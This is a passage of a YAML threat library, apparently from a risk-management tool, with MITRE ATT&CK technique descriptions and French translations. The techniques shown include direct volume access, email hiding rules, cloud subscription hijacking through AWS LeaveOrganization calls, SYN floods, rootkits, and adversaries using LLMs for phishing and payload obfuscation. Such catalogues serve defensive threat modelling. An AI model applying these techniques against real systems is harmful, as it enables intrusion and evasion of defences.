      Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party
      utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404))
      to create shadow copies or backups of data from system volumes.(Citation: LOLBAS
      Esentutl)

      https://attack.mitre.org/techniques/T1006'
    translations:
      fr:
        name: "Acc\xE8s direct aux volumes"
        description: "Les adversaires peuvent acc\xE9der directement \xE0 un volume\
          \ pour contourner les contr\xF4les d\u2019acc\xE8s aux fichiers et la surveillance\
          \ du syst\xE8me de fichiers. Windows permet aux programmes d\u2019avoir\
          \ un acc\xE8s direct aux volumes logiques. Les programmes disposant d\u2019\
          un acc\xE8s direct peuvent lire et \xE9crire des fichiers directement \xE0\
          \ partir du lecteur en analysant les structures de donn\xE9es du syst\xE8\
          me de fichiers. Cette technique peut contourner les contr\xF4les d\u2019\
          acc\xE8s aux fichiers Windows ainsi que les outils de surveillance du syst\xE8\
          me de fichiers. (Citation : Hakobyan 2009)\n\nDes utilitaires, tels que\
          \ \xAB NinjaCopy \xBB, existent pour effectuer ces actions dans PowerShell.\
          \ (Citation : github powersploit ninjacopy) Les adversaires peuvent \xE9\
          galement utiliser des utilitaires int\xE9gr\xE9s ou tiers (tels que 'vssadmin',\
          \ 'wbadmin' et [esentutl](https://attack.mitre.org/software/S0404)) pour\
          \ cr\xE9er des clich\xE9s instantan\xE9s ou des sauvegardes de donn\xE9\
          es \xE0 partir de volumes syst\xE8me. (Citation : LOLBAS Esentutl)\nhttps://attack.mitre.org/techniques/T1006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1588.007
    ref_id: T1588.007
    name: Artificial Intelligence
    description: 'Adversaries may obtain access to generative artificial intelligence
      tools, such as large language models (LLMs), to aid various techniques during
      targeting. These tools may be used to inform, bolster, and enable a variety
      of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043),
      creating basic scripts, assisting social engineering, and even developing payloads.(Citation:
      MSFT-AI)


      For example, by utilizing a publicly available LLM an adversary is essentially
      outsourcing or automating certain tasks to the tool. Using AI, the adversary
      may draft and generate content in a variety of written languages to be used
      in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598)
      campaigns. The same publicly available tool may further enable vulnerability
      or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587).
      AI tools may also automate technical tasks by generating, refining, or otherwise
      enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027))
      malicious scripts and payloads.(Citation: OpenAI-CTI)

      https://attack.mitre.org/techniques/T1588/007'
    translations:
      fr:
        name: Intelligence artificielle
        description: "Les adversaires peuvent avoir acc\xE8s \xE0 des outils d\u2019\
          intelligence artificielle g\xE9n\xE9rative, tels que les grands mod\xE8\
          les de langage (LLM), pour faciliter diverses techniques de ciblage. Ces\
          \ outils peuvent \xEAtre utilis\xE9s pour informer, renforcer et permettre\
          \ diverses t\xE2ches malveillantes, notamment la r\xE9alisation de [Reconnaissance](https://attack.mitre.org/tactics/TA0043),\
          \ la cr\xE9ation de scripts de base, l\u2019assistance \xE0 l\u2019ing\xE9\
          nierie sociale et m\xEAme le d\xE9veloppement de charges utiles. (R\xE9\
          f\xE9rence : MSFT-AI)\n\nPar exemple, en utilisant un LLM accessible au\
          \ public, un adversaire externalise ou automatise essentiellement certaines\
          \ t\xE2ches \xE0 l\u2019outil. \xC0 l\u2019aide de l\u2019IA, l\u2019adversaire\
          \ peut r\xE9diger et g\xE9n\xE9rer du contenu dans diverses langues \xE9\
          crites \xE0 utiliser dans les campagnes [d\u2019hame\xE7onnage](https://attack.mitre.org/techniques/T1566)/[d\u2019\
          hame\xE7onnage \xE0 titre d\u2019information](https://attack.mitre.org/techniques/T1598).\
          \ Le m\xEAme outil accessible au public peut permettre d\u2019autres recherches\
          \ sur les vuln\xE9rabilit\xE9s ou d\u2019autres recherches offensives soutenant\
          \ [D\xE9velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587).\
          \ Les outils d\u2019IA peuvent \xE9galement automatiser des t\xE2ches techniques\
          \ en g\xE9n\xE9rant, affinant ou am\xE9liorant de toute autre mani\xE8re\
          \ (par exemple, [Fichiers ou informations obfusqu\xE9s](https://attack.mitre.org/techniques/T1027))\
          \ des scripts et des charges utiles malveillants. (Citation : OpenAI-CTI)\n\
          https://attack.mitre.org/techniques/T1588/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1666
    ref_id: T1666
    name: Modify Cloud Resource Hierarchy
    description: "Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service\
      \ (IaaS) environments in order to evade defenses.  \n\nIaaS environments often\
      \ group resources into a hierarchy, enabling improved resource management and\
      \ application of policies to relevant groups. Hierarchical structures differ\
      \ among cloud providers. For example, in AWS environments, multiple accounts\
      \ can be grouped under a single organization, while in Azure environments, multiple\
      \ subscriptions can be grouped under a single management group.(Citation: AWS\
      \ Organizations)(Citation: Microsoft Azure Resources)\n\nAdversaries may add,\
      \ delete, or otherwise modify resource groups within an IaaS hierarchy. For\
      \ example, in Azure environments, an adversary who has gained access to a Global\
      \ Administrator account may create new subscriptions in which to deploy resources.\
      \ They may also engage in subscription hijacking by transferring an existing\
      \ pay-as-you-go subscription from a victim tenant to an adversary-controlled\
      \ tenant. This will allow the adversary to use the victim\u2019s compute resources\
      \ without generating logs on the victim tenant.(Citation: Microsoft Peach Sandstorm\
      \ 2023)(Citation: Microsoft Subscription Hijacking 2022)\n\nIn AWS environments,\
      \ adversaries with appropriate permissions in a given account may call the `LeaveOrganization`\
      \ API, causing the account to be severed from the AWS Organization to which\
      \ it was tied and removing any Service Control Policies, guardrails, or restrictions\
      \ imposed upon it by its former Organization. Alternatively, adversaries may\
      \ call the `CreateAccount` API in order to create a new account within an AWS\
      \ Organization. This account will use the same payment methods registered to\
      \ the payment account but may not be subject to existing detections or Service\
      \ Control Policies.(Citation: AWS RE:Inforce Threat Detection 2024)\nhttps://attack.mitre.org/techniques/T1666"
    translations:
      fr:
        name: "Modifier la hi\xE9rarchie des ressources cloud"
        description: "Les adversaires peuvent tenter de modifier les structures hi\xE9\
          rarchiques dans les environnements d\u2019infrastructure en tant que service\
          \ (IaaS) afin d\u2019\xE9chapper aux d\xE9fenses.  \n\nLes environnements\
          \ IaaS regroupent souvent les ressources dans une hi\xE9rarchie, ce qui\
          \ permet d\u2019am\xE9liorer la gestion des ressources et l\u2019application\
          \ des politiques aux groupes concern\xE9s. Les structures hi\xE9rarchiques\
          \ diff\xE8rent d\u2019un fournisseur de cloud \xE0 l\u2019autre. Par exemple,\
          \ dans les environnements AWS, plusieurs comptes peuvent \xEAtre regroup\xE9\
          s sous une seule organisation, tandis que dans les environnements Azure,\
          \ plusieurs abonnements peuvent \xEAtre regroup\xE9s sous un seul groupe\
          \ de gestion. (R\xE9f\xE9rence : AWS Organizations)(Citation : Ressources\
          \ Microsoft Azure)\n\nLes adversaires peuvent ajouter, supprimer ou modifier\
          \ des groupes de ressources au sein d\u2019une hi\xE9rarchie IaaS. Par exemple,\
          \ dans les environnements Azure, un adversaire qui a obtenu l\u2019acc\xE8\
          s \xE0 un compte d\u2019administrateur g\xE9n\xE9ral peut cr\xE9er des abonnements\
          \ dans lesquels d\xE9ployer des ressources. Ils peuvent \xE9galement se\
          \ livrer au d\xE9tournement d\u2019abonnement en transf\xE9rant un abonnement\
          \ \xE0 l\u2019utilisation existant d\u2019un locataire victime \xE0 un locataire\
          \ contr\xF4l\xE9 par l\u2019adversaire. Cela permettra \xE0 l\u2019adversaire\
          \ d\u2019utiliser les ressources de calcul de la victime sans g\xE9n\xE9\
          rer de journaux sur le locataire victime. (Citation : Microsoft Peach Sandstorm\
          \ 2023)(Citation : D\xE9tournement d\u2019abonnement Microsoft 2022)\n\n\
          Dans les environnements AWS, les adversaires disposant des autorisations\
          \ appropri\xE9es dans un compte donn\xE9 peuvent appeler l\u2019API \xAB\
          \ LeaveOrganization \xBB, ce qui entra\xEEne la s\xE9paration du compte\
          \ de l\u2019organisation AWS \xE0 laquelle il \xE9tait li\xE9 et supprime\
          \ toutes les politiques de contr\xF4le de service, les garde-fous ou les\
          \ restrictions qui lui sont impos\xE9s par son ancienne organisation. Les\
          \ adversaires peuvent \xE9galement appeler l\u2019API \xAB CreateAccount\
          \ \xBB afin de cr\xE9er un nouveau compte au sein d\u2019une organisation\
          \ AWS. Ce compte utilisera les m\xEAmes m\xE9thodes de paiement que celles\
          \ enregistr\xE9es sur le compte de paiement, mais ne sera peut-\xEAtre pas\
          \ soumis aux d\xE9tections ou aux politiques de contr\xF4le de service existantes.\
          \ (R\xE9f\xE9rence : AWS RE\_:Inforce Threat Detection 2024)\nhttps://attack.mitre.org/techniques/T1666"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.008
    ref_id: T1564.008
    name: Email Hiding Rules
    description: 'Adversaries may use email rules to hide inbound emails in a compromised
      user''s mailbox. Many email clients allow users to create inbox rules for various
      email functions, including moving emails to other folders, marking emails as
      read, or deleting emails. Rules may be created or modified within email clients
      or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code>
      [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows
      systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation:
      Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)


      Adversaries may utilize email rules within a compromised user''s mailbox to
      delete and/or move emails to less noticeable folders. Adversaries may do this
      to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)
      emails sent from the compromised account.


      Any user or administrator within the organization (or adversary with valid credentials)
      may be able to create rules to automatically move or delete emails. These rules
      can be abused to impair/delay detection had the email content been immediately
      seen by a user or defender. Malicious rules commonly filter out emails based
      on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>,
      and <code>hack</code>) found in message bodies and subject lines. (Citation:
      Microsoft Cloud App Security)


      In some environments, administrators may be able to enable email rules that
      operate organization-wide rather than on individual inboxes. For example, Microsoft
      Exchange supports transport rules that evaluate all mail an organization receives
      against user-specified conditions, then performs a user-specified action on
      mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023)
      Adversaries that abuse such features may be able to automatically modify or
      delete all emails related to specific topics (such as internal security incident
      notifications).

      https://attack.mitre.org/techniques/T1564/008'
    translations:
      fr:
        name: "R\xE8gles de masquage des e-mails"
        description: "Les adversaires peuvent utiliser des r\xE8gles de messagerie\
          \ pour masquer les e-mails entrants dans la bo\xEEte aux lettres d\u2019\
          un utilisateur compromis. De nombreux clients de messagerie permettent aux\
          \ utilisateurs de cr\xE9er des r\xE8gles de bo\xEEte de r\xE9ception pour\
          \ diverses fonctions de messagerie, notamment le d\xE9placement des e-mails\
          \ vers d\u2019autres dossiers, le marquage des e-mails comme lus ou la suppression\
          \ d\u2019e-mails. Les r\xE8gles peuvent \xEAtre cr\xE9\xE9es ou modifi\xE9\
          es dans les clients de messagerie ou par le biais de fonctionnalit\xE9s\
          \ externes telles que les applets de commande <code>New-InboxRule</code>\
          \ ou <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ sur les syst\xE8mes Windows. (Citation : R\xE8gles de bo\xEEte de r\xE9\
          ception Microsoft)(Citation : R\xE8gles de messagerie MacOS)(Citation :\
          \ Microsoft New-InboxRule)(Citation : Microsoft Set-InboxRule)\n\nLes adversaires\
          \ peuvent utiliser des r\xE8gles de messagerie dans la bo\xEEte aux lettres\
          \ d\u2019un utilisateur compromis pour supprimer et/ou d\xE9placer des e-mails\
          \ vers des dossiers moins visibles. Les adversaires peuvent le faire pour\
          \ masquer les alertes de s\xE9curit\xE9, les communications C2 ou les r\xE9\
          ponses aux e-mails [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)\
          \ envoy\xE9s \xE0 partir du compte compromis.\n\nTout utilisateur ou administrateur\
          \ au sein de l\u2019organisation (ou tout adversaire disposant d\u2019informations\
          \ d\u2019identification valides) peut \xEAtre en mesure de cr\xE9er des\
          \ r\xE8gles pour d\xE9placer ou supprimer automatiquement les e-mails. Ces\
          \ r\xE8gles peuvent \xEAtre utilis\xE9es de mani\xE8re abusive pour alt\xE9\
          rer ou retarder la d\xE9tection si le contenu de l\u2019e-mail avait \xE9\
          t\xE9 imm\xE9diatement vu par un utilisateur ou un d\xE9fenseur. Les r\xE8\
          gles malveillantes filtrent g\xE9n\xE9ralement les e-mails en fonction de\
          \ mots cl\xE9s (tels que <code>logiciel malveillant</code>, <code>suspect,</code>\
          \ <code>hame\xE7onnage</code> et <code>piratage</code>) trouv\xE9s dans\
          \ le corps des messages et les lignes d\u2019objet. (Citation : S\xE9curit\xE9\
          \ des applications cloud Microsoft)\n\nDans certains environnements, les\
          \ administrateurs peuvent \xEAtre en mesure d\u2019activer des r\xE8gles\
          \ de messagerie qui s\u2019appliquent \xE0 l\u2019ensemble de l\u2019organisation\
          \ plut\xF4t qu\u2019aux bo\xEEtes de r\xE9ception individuelles. Par exemple,\
          \ Microsoft Exchange prend en charge les r\xE8gles de transport qui \xE9\
          valuent tous les messages qu\u2019une organisation re\xE7oit par rapport\
          \ aux conditions sp\xE9cifi\xE9es par l\u2019utilisateur, puis effectuent\
          \ une action sp\xE9cifi\xE9e par l\u2019utilisateur sur les messages qui\
          \ respectent ces conditions. (Citation : R\xE8gles de flux de messagerie\
          \ Microsoft 2023) Les adversaires qui abusent de ces fonctionnalit\xE9s\
          \ peuvent \xEAtre en mesure de modifier ou de supprimer automatiquement\
          \ tous les e-mails li\xE9s \xE0 des sujets sp\xE9cifiques (tels que les\
          \ notifications d\u2019incidents de s\xE9curit\xE9 internes).\nhttps://attack.mitre.org/techniques/T1564/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1491.002
    ref_id: T1491.002
    name: External Defacement
    description: "An adversary may deface systems external to an organization in an\
      \ attempt to deliver messaging, intimidate, or otherwise mislead an organization\
      \ or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002)\
      \ may ultimately cause users to distrust the systems and to question/discredit\
      \ the system\u2019s integrity. Externally-facing websites are a common victim\
      \ of defacement; often targeted by adversary and hacktivist groups in order\
      \ to push a political message or spread propaganda.(Citation: FireEye Cyber\
      \ Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate\
      \ Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt\
      \ Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002)\
      \ may be used as a catalyst to trigger events, or as a response to actions taken\
      \ by an organization or government. Similarly, website defacement may also be\
      \ used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation:\
      \ Trend Micro Deep Dive Into Defacement)\nhttps://attack.mitre.org/techniques/T1491/002"
    translations:
      fr:
        name: "D\xE9figuration externe"
        description: "Un adversaire peut d\xE9grader des syst\xE8mes externes \xE0\
          \ une organisation dans le but de diffuser des messages, d\u2019intimider\
          \ ou d\u2019induire en erreur une organisation ou des utilisateurs. [D\xE9\
          figuration externe](https://attack.mitre.org/techniques/T1491/002) peut\
          \ finalement amener les utilisateurs \xE0 se m\xE9fier des syst\xE8mes et\
          \ \xE0 remettre en question/discr\xE9diter l\u2019int\xE9grit\xE9 du syst\xE8\
          me. Les sites Web externes sont souvent victimes de la d\xE9figuration ;\
          \ Souvent pris pour cible par des groupes d\u2019adversaires et d\u2019\
          hacktivistes afin de faire passer un message politique ou de diffuser de\
          \ la propagande. (Citation : Cybermenaces de FireEye pour les industries\
          \ des m\xE9dias)(Citation : D\xE9claration de Kevin Mandia devant la Commission\
          \ du renseignement du S\xE9nat am\xE9ricain)(Citation\_: Des pirates anonymes\
          \ d\xE9figurent le site du gouvernement russe) [D\xE9figuration externe](https://attack.mitre.org/techniques/T1491/002)\
          \ peuvent \xEAtre utilis\xE9s comme catalyseur pour d\xE9clencher des \xE9\
          v\xE9nements ou en r\xE9ponse \xE0 des mesures prises par une organisation\
          \ ou un gouvernement. De m\xEAme, la d\xE9figuration d\u2019un site Web\
          \ peut \xE9galement \xEAtre utilis\xE9e comme configuration ou pr\xE9curseur\
          \ d\u2019attaques futures telles que [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).\
          \ (Citation : Trend Micro Deep Dive into Defigurement)\nhttps://attack.mitre.org/techniques/T1491/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.013
    ref_id: T1027.013
    name: Encrypted/Encoded File
    description: "Adversaries may encrypt or encode files to obfuscate strings, bytes,\
      \ and other specific patterns to impede detection. Encrypting and/or encoding\
      \ file content aims to conceal malicious artifacts within a file used in an\
      \ intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002),\
      \ [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded\
      \ Payloads](https://attack.mitre.org/techniques/T1027/009), share this same\
      \ broad objective. Encrypting and/or encoding files could lead to a lapse in\
      \ detection of static signatures, only for this malicious content to be revealed\
      \ (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140))\
      \ at the time of execution/use.\n\nThis type of file obfuscation can be applied\
      \ to many file artifacts present on victim hosts, such as malware log/configuration\
      \ and payload files.(Citation: File obfuscation) Files can be encrypted with\
      \ a hardcoded or user-supplied key, as well as otherwise obfuscated using standard\
      \ encoding/compression schemes such as Base64.\n\nThe entire content of a file\
      \ may be obfuscated, or just specific functions or values (such as C2 addresses).\
      \ Encryption and encoding may also be applied in redundant layers for additional\
      \ protection.\n\nFor example, adversaries may abuse password-protected Word\
      \ documents or self-extracting (SFX) archives as a method of encrypting/encoding\
      \ a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload.\
      \ These files typically function by attaching the intended archived content\
      \ to a decompressor stub that is executed when the file is invoked (e.g., [User\
      \ Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded\
      \ File) \n\nAdversaries may also abuse file-specific as well as custom encoding\
      \ schemes. For example, Byte Order Mark (BOM) headers in text files may be abused\
      \ to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)\
      \ execution.\nhttps://attack.mitre.org/techniques/T1027/013"
    translations:
      fr:
        name: "Fichier crypt\xE9/encod\xE9"
        description: "Les adversaires peuvent chiffrer ou encoder des fichiers pour\
          \ masquer des cha\xEEnes, des octets et d\u2019autres motifs sp\xE9cifiques\
          \ afin d\u2019entraver la d\xE9tection. Le chiffrement et/ou l\u2019encodage\
          \ du contenu d\u2019un fichier visent \xE0 dissimuler des artefacts malveillants\
          \ dans un fichier utilis\xE9 dans une intrusion. De nombreuses autres techniques,\
          \ telles que le [Software Packing](https://attack.mitre.org/techniques/T1027/002),\
          \ la [Steganographie](https://attack.mitre.org/techniques/T1027/003) et\
          \ les [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009),\
          \ partagent le m\xEAme objectif g\xE9n\xE9ral. Le chiffrement et/ou l\u2019\
          encodage des fichiers peuvent entra\xEEner une d\xE9faillance de la d\xE9\
          tection des signatures statiques, mais ce contenu malveillant n\u2019est\
          \ r\xE9v\xE9l\xE9 (c\u2019est-\xE0-dire [D\xE9brouiller/D\xE9coder des fichiers\
          \ ou des informations](https://attack.mitre.org/techniques/T1140)) au moment\
          \ de l\u2019ex\xE9cution/de l\u2019utilisation.\n\nCe type d\u2019obfuscation\
          \ de fichiers peut \xEAtre appliqu\xE9 \xE0 de nombreux artefacts de fichiers\
          \ pr\xE9sents sur les h\xF4tes victimes, tels que les fichiers de journal/configuration\
          \ de logiciels malveillants et les fichiers de charge utile. (Citation :\
          \ Obscurcissement de fichier) Les fichiers peuvent \xEAtre chiffr\xE9s \xE0\
          \ l\u2019aide d\u2019une cl\xE9 cod\xE9e en dur ou fournie par l\u2019utilisateur,\
          \ ainsi que masqu\xE9s \xE0 l\u2019aide de sch\xE9mas d\u2019encodage/compression\
          \ standard tels que Base64.\n\nL\u2019int\xE9gralit\xE9 du contenu d\u2019\
          un fichier peut \xEAtre obscurcie, ou seulement des fonctions ou des valeurs\
          \ sp\xE9cifiques (telles que les adresses C2). Le chiffrement et l\u2019\
          encodage peuvent \xE9galement \xEAtre appliqu\xE9s dans des couches redondantes\
          \ pour une protection suppl\xE9mentaire.\n\nPar exemple, les adversaires\
          \ peuvent abuser de documents Word prot\xE9g\xE9s par mot de passe ou d\u2019\
          archives auto-extractibles (SFX) comme m\xE9thode de chiffrement/encodage\
          \ d\u2019un fichier tel qu\u2019une charge utile [Phishing](https://attack.mitre.org/techniques/T1566).\
          \ Ces fichiers fonctionnent g\xE9n\xE9ralement en attachant le contenu archiv\xE9\
          \ pr\xE9vu \xE0 un stub de d\xE9compresseur qui est ex\xE9cut\xE9 lorsque\
          \ le fichier est appel\xE9 (par exemple, [Ex\xE9cution par l\u2019utilisateur](https://attack.mitre.org/techniques/T1204)).\
          \ (Citation\_: SFX - Fichier crypt\xE9/encod\xE9) \n\nLes adversaires peuvent\
          \ \xE9galement abuser des sch\xE9mas d\u2019encodage sp\xE9cifiques aux\
          \ fichiers ainsi que des sch\xE9mas de codage personnalis\xE9s. Par exemple,\
          \ les en-t\xEAtes BOM (Byte Order Mark) dans les fichiers texte peuvent\
          \ \xEAtre utilis\xE9s de mani\xE8re abusive pour manipuler et obscurcir\
          \ le contenu du fichier jusqu\u2019\xE0 l\u2019ex\xE9cution de [Command\
          \ and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).\n\
          https://attack.mitre.org/techniques/T1027/013"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1590.005
    ref_id: T1590.005
    name: IP Addresses
    description: 'Adversaries may gather the victim''s IP addresses that can be used
      during targeting. Public IP addresses may be allocated to organizations by block,
      or a range of sequential addresses. Information about assigned IP addresses
      may include a variety of details, such as which IP addresses are in use. IP
      addresses may also enable an adversary to derive other details about a victim,
      such as organizational size, physical location(s), Internet service provider,
      and or where/how their publicly-facing infrastructure is hosted.


      Adversaries may gather this information in various ways, such as direct collection
      actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or
      [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information
      about assigned IP addresses may also be exposed to adversaries via online or
      other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation:
      WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information
      may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595)
      or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)
      or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),
      and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

      https://attack.mitre.org/techniques/T1590/005'
    translations:
      fr:
        name: Adresses IP
        description: "Les adversaires peuvent collecter les adresses IP de la victime\
          \ qui peuvent \xEAtre utilis\xE9es lors du ciblage. Les adresses IP publiques\
          \ peuvent \xEAtre attribu\xE9es aux organisations par bloc ou par une plage\
          \ d\u2019adresses s\xE9quentielles. Les informations sur les adresses IP\
          \ attribu\xE9es peuvent inclure divers d\xE9tails, tels que les adresses\
          \ IP utilis\xE9es. Les adresses IP peuvent \xE9galement permettre \xE0 un\
          \ adversaire d\u2019obtenir d\u2019autres d\xE9tails sur une victime, tels\
          \ que la taille de l\u2019organisation, l\u2019emplacement physique, le\
          \ fournisseur d\u2019acc\xE8s \xE0 Internet et/ou l\u2019endroit et la mani\xE8\
          re dont son infrastructure publique est h\xE9berg\xE9e.\n\nLes adversaires\
          \ peuvent collecter ces informations de diff\xE9rentes mani\xE8res, par\
          \ exemple par le biais d\u2019une [analyse active](https://attack.mitre.org/techniques/T1595)\
          \ ou d\u2019un [hame\xE7onnage pour obtenir des informations](https://attack.mitre.org/techniques/T1598).\
          \ Les informations relatives aux adresses IP attribu\xE9es peuvent \xE9\
          galement \xEAtre expos\xE9es \xE0 des adversaires via des ensembles de donn\xE9\
          es en ligne ou d\u2019autres ensembles de donn\xE9es accessibles (ex : [Rechercher\
          \ dans des bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)).\
          \ (Citation : WHOIS)(Citation : benne \xE0 ordures DNS)(Citation : Circl\
          \ DNS passif) La collecte de ces informations peut r\xE9v\xE9ler des possibilit\xE9\
          s pour d\u2019autres formes de reconnaissance (ex : [Analyse active](https://attack.mitre.org/techniques/T1595)\
          \ ou [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Acquisition\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1583) ou [Compromission\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1584)), et/ou\
          \ d\u2019acc\xE8s initial (ex : [Externe distant Services](https://attack.mitre.org/techniques/T1133)).\n\
          https://attack.mitre.org/techniques/T1590/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1499.001
    ref_id: T1499.001
    name: OS Exhaustion Flood
    description: 'Adversaries may launch a denial of service (DoS) attack targeting
      an endpoint''s operating system (OS). A system''s OS is responsible for managing
      the finite resources as well as preventing the entire system from being overwhelmed
      by excessive demands on its capacity. These attacks do not need to exhaust the
      actual resources on a system; the attacks may simply exhaust the limits and
      available resources that an OS self-imposes.


      Different ways to achieve this exist, including TCP state-exhaustion attacks
      such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018)
      With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP
      handshake is never completed. Because each OS has a maximum number of concurrent
      TCP connections that it will allow, this can quickly exhaust the ability of
      the system to receive new requests for TCP connections, thus preventing access
      to any TCP service provided by the server.(Citation: Cloudflare SynFlood)


      ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK
      packets are sent to the target. This forces the OS to search its state table
      for a related TCP connection that has already been established. Because the
      ACK packets are for connections that do not exist, the OS will have to search
      the entire state table to confirm that no match exists. When it is necessary
      to do this for a large flood of packets, the computational requirements can
      cause the server to become sluggish and/or unresponsive, due to the work it
      must do to eliminate the rogue ACK packets. This greatly reduces the resources
      available for providing the targeted service.(Citation: Corero SYN-ACKflood)

      https://attack.mitre.org/techniques/T1499/001'
    translations:
      fr:
        name: "Inondation d\u2019\xE9puisement du syst\xE8me d\u2019exploitation"
        description: "Les adversaires peuvent lancer une attaque par d\xE9ni de service\
          \ (DoS) ciblant le syst\xE8me d\u2019exploitation (OS) d\u2019un terminal.\
          \ Le syst\xE8me d\u2019exploitation d\u2019un syst\xE8me est charg\xE9 de\
          \ g\xE9rer les ressources limit\xE9es et d\u2019\xE9viter que l\u2019ensemble\
          \ du syst\xE8me ne soit submerg\xE9 par des demandes excessives sur sa capacit\xE9\
          . Ces attaques n\u2019ont pas besoin d\u2019\xE9puiser les ressources r\xE9\
          elles d\u2019un syst\xE8me ; les attaques peuvent simplement \xE9puiser\
          \ les limites et les ressources disponibles qu\u2019un syst\xE8me d\u2019\
          exploitation s\u2019impose lui-m\xEAme.\n\nIl existe diff\xE9rentes fa\xE7\
          ons d\u2019y parvenir, notamment les attaques d\u2019\xE9puisement d\u2019\
          \xE9tat TCP telles que les inondations SYN et les inondations ACK. (Citation\
          \ : Arbor AnnualDoSreport janvier 2018) Avec les inondations SYN, des quantit\xE9\
          s excessives de paquets SYN sont envoy\xE9es, mais l\u2019\xE9tablissement\
          \ de liaison TCP \xE0 3 voies n\u2019est jamais termin\xE9. \xC9tant donn\xE9\
          \ que chaque syst\xE8me d\u2019exploitation dispose d\u2019un nombre maximal\
          \ de connexions TCP simultan\xE9es qu\u2019il autorise, cela peut rapidement\
          \ \xE9puiser la capacit\xE9 du syst\xE8me \xE0 recevoir de nouvelles demandes\
          \ de connexions TCP, emp\xEAchant ainsi l\u2019acc\xE8s \xE0 tout service\
          \ TCP fourni par le serveur. (Citation : Cloudflare SynFlood)\n\nLes inondations\
          \ ACK exploitent la nature \xE9tatique du protocole TCP. Un flot de paquets\
          \ ACK est envoy\xE9 \xE0 la cible. Cela oblige le syst\xE8me d\u2019exploitation\
          \ \xE0 rechercher dans sa table d\u2019\xE9tat une connexion TCP associ\xE9\
          e qui a d\xE9j\xE0 \xE9t\xE9 \xE9tablie. \xC9tant donn\xE9 que les paquets\
          \ ACK concernent des connexions qui n\u2019existent pas, le syst\xE8me d\u2019\
          exploitation devra effectuer une recherche dans l\u2019int\xE9gralit\xE9\
          \ de la table d\u2019\xE9tat pour confirmer qu\u2019aucune correspondance\
          \ n\u2019existe. Lorsqu\u2019il est n\xE9cessaire de le faire pour un grand\
          \ nombre de paquets, les exigences de calcul peuvent entra\xEEner la lenteur\
          \ et/ou l\u2019inactivit\xE9 du serveur, en raison du travail qu\u2019il\
          \ doit effectuer pour \xE9liminer les paquets ACK non autoris\xE9s. Cela\
          \ r\xE9duit consid\xE9rablement les ressources disponibles pour fournir\
          \ le service cibl\xE9. (R\xE9f\xE9rence : Corero SYN-ACKflood)\nhttps://attack.mitre.org/techniques/T1499/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1014
    ref_id: T1014
    name: Rootkit
    description: "Adversaries may use rootkits to hide the presence of programs, files,\
      \ network connections, services, drivers, and other system components. Rootkits\
      \ are programs that hide the existence of malware by intercepting/hooking and\
      \ modifying operating system API calls that supply system information. (Citation:\
      \ Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality\
      \ may reside at the user or kernel level in the operating system or lower, to\
      \ include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001).\
      \ (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux,\
